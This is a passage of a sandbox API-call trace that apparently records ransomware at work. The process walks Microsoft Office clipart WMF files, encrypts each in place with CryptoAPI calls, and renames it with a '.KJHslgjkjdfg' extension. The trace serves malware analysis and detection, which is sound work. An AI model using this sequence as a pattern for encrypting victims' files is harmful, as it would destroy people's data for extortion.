hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.982] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.982] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.982] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.982] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.982] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x112e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x112e, lpOverlapped=0x0) returned 1 [0206.987] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1130, dwBufLen=0x1130 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1130) returned 1 [0206.987] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.988] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1130, lpOverlapped=0x0) returned 1 [0206.988] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.988] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.988] SetEndOfFile (hFile=0x130) returned 1 [0206.991] GetProcessHeap () returned 0x990000 [0206.991] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.991] GetProcessHeap () returned 0x990000 [0206.991] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.991] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf.kjhslgjkjdfg")) returned 1 [0206.992] CloseHandle (hObject=0x130) returned 1 [0206.992] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45d3900, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb45d3900, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00693_.WMF", cAlternateFileName="")) returned 1 [0206.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.994] GetProcessHeap () returned 0x990000 [0206.994] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.994] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.994] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.994] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.996] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.996] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.996] GetProcessHeap () returned 0x990000 [0206.996] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.996] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.996] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.996] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.996] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.997] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.997] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.997] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.997] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.997] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.997] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.997] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.997] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1138, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1138, lpOverlapped=0x0) returned 1 [0206.998] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1140, dwBufLen=0x1140 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1140) returned 1 [0206.998] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.998] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1140, lpOverlapped=0x0) returned 1 [0206.998] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.998] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.998] SetEndOfFile (hFile=0x130) returned 1 [0207.001] GetProcessHeap () returned 0x990000 [0207.001] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.001] GetProcessHeap () returned 0x990000 [0207.001] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.001] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf.kjhslgjkjdfg")) returned 1 [0207.003] CloseHandle (hObject=0x130) returned 1 [0207.003] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49cc9e00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49cc9e00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x3926, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00720_.WMF", cAlternateFileName="")) returned 1 [0207.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.005] GetProcessHeap () returned 0x990000 [0207.005] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.005] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.005] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.005] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0207.008] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.008] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.008] GetProcessHeap () returned 0x990000 [0207.008] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.008] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.008] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.008] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.008] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.008] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.008] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.008] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.008] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.008] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.008] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.009] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.009] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3926, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3926, lpOverlapped=0x0) returned 1 [0207.009] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3930, dwBufLen=0x3930 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3930) returned 1 [0207.009] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.010] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3930, lpOverlapped=0x0) returned 1 [0207.010] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.010] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.010] SetEndOfFile (hFile=0x130) returned 1 [0207.013] GetProcessHeap () returned 0x990000 [0207.013] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.013] GetProcessHeap () returned 0x990000 [0207.013] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.013] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf.kjhslgjkjdfg")) returned 1 [0207.014] CloseHandle (hObject=0x130) returned 1 [0207.015] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe80c3400, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe80c3400, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x1afc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00723_.WMF", cAlternateFileName="")) returned 1 [0207.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.016] GetProcessHeap () returned 0x990000 [0207.016] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.016] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.016] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.016] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.073] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.073] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.073] GetProcessHeap () returned 0x990000 [0207.073] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.073] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.074] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.074] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.074] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.074] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.074] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.074] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.074] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.074] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.074] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.074] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.074] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1afc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1afc, lpOverlapped=0x0) returned 1 [0207.085] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b00, dwBufLen=0x1b00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b00) returned 1 [0207.086] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.086] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1b00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1b00, lpOverlapped=0x0) returned 1 [0207.086] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.086] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.086] SetEndOfFile (hFile=0x130) returned 1 [0207.089] GetProcessHeap () returned 0x990000 [0207.089] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.089] GetProcessHeap () returned 0x990000 [0207.089] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.089] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf.kjhslgjkjdfg")) returned 1 [0207.091] CloseHandle (hObject=0x130) returned 1 [0207.091] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02b300, ftCreationTime.dwHighDateTime=0x1c04210, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d02b300, ftLastWriteTime.dwHighDateTime=0x1c04210, nFileSizeHigh=0x0, nFileSizeLow=0xb1a4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00726_.WMF", cAlternateFileName="")) returned 1 [0207.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.092] GetProcessHeap () returned 0x990000 [0207.092] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.092] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.092] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.092] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0207.095] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.095] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.095] GetProcessHeap () returned 0x990000 [0207.095] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.095] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.095] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.095] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.095] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.096] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.096] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.096] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.096] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.096] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.096] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.096] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.096] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb1a4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xb1a4, lpOverlapped=0x0) returned 1 [0207.099] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb1b0, dwBufLen=0xb1b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb1b0) returned 1 [0207.100] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.100] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, 